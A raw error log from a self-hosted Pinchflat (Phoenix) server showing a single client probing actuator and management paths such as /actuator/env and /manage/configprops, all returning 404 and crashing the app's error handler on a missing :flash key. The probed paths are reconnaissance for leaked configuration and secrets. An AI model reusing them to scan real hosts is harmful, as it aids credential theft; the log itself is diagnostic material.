"pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21544.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgV2nZ49ROvcACMdB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21543.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36812}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21543.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36812}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21544.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 15:40:34.221 [info] GET /actuator/configprops 15:40:34.221 [debug] QUERY OK source="settings" db=0.1ms idle=1343.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:34.221 [debug] QUERY OK source="settings" db=0.0ms idle=1163.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:34.222 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:34.222 [error] #PID<0.21546.0> running PinchflatWeb.Endpoint (connection #PID<0.21545.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /actuator/configprops ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21545.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36816}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21546.0>, params: %{}, path_info: ["actuator", "configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/actuator/configprops", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgWRfbHFiTjkABcGC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21545.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36816}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21545.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36816}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21546.0>, params: %{}, path_info: ["actuator", "configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/actuator/configprops", resp_body: nil, resp_cookies: %{}, resp_h (truncated) 15:40:34.334 [info] GET /manage/env 15:40:34.334 [debug] QUERY OK source="settings" db=0.1ms idle=274.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:34.334 [debug] QUERY OK source="settings" db=0.0ms idle=225.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:34.334 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:34.334 [error] #PID<0.21548.0> running PinchflatWeb.Endpoint (connection #PID<0.21547.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /manage/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manage/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21547.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36830}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21548.0>, params: %{}, path_info: ["manage", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/manage/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgWsVLUZRFusACMdh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21547.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36830}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manage/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21547.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36830}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21548.0>, params: %{}, path_info: ["manage", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/manage/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-requ (truncated) 15:40:34.452 [info] GET /manage/configprops 15:40:34.452 [debug] QUERY OK source="settings" db=0.1ms idle=343.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:34.452 [debug] QUERY OK source="settings" db=0.0ms idle=230.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:34.452 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:34.453 [error] #PID<0.21550.0> running PinchflatWeb.Endpoint (connection #PID<0.21549.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /manage/configprops ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manage/configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21549.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36842}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21550.0>, params: %{}, path_info: ["manage", "configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/manage/configprops", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgXIhK74IVW0ACMeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21549.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36842}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /manage/configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21549.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/manage/configprops", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36842}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21550.0>, params: %{}, path_info: ["manage", "configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, application/json"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/manage/configprops", resp_body: nil, resp_cookies: %{}, resp_headers: [ (truncated) 15:40:34.565 [info] GET /api/actuator/env 15:40:34.566 [debug] QUERY OK source="settings" db=0.1ms idle=344.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:34.566 [debug] QUERY OK source="settings" db=0.0ms idle=232.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:34.566 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:34.566 [error] #PID<0.21552.0> running PinchflatWeb.Endpoint (connection #PID<0.21551.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21551.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/actuator/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 36844}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, application/json", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, 